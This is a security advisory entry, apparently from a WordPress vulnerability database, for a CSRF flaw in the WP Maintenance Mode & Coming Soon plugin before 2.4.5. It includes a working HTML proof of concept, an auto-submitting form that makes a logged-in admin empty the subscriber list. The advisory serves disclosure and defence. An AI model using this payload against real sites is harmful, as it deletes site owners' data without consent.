WP Maintenance Mode & Coming Soon < 2.4.5 - Subscribed Users Deletion via CSRF

2022-06-2000:00:00

Daniel Ruf

111

0.001 Low

EPSS

Percentile

26.3%

JSON

The plugin is lacking CSRF when emptying the subscribed users list, which could allow attackers to make a logged in admin perform such action via a CSRF attack

<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="wpmm_subscribers_empty_list">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

26.3%

JSON

Related for WPEX-ID:68DEAB46-1C16-46AE-A912-A104958CA4CF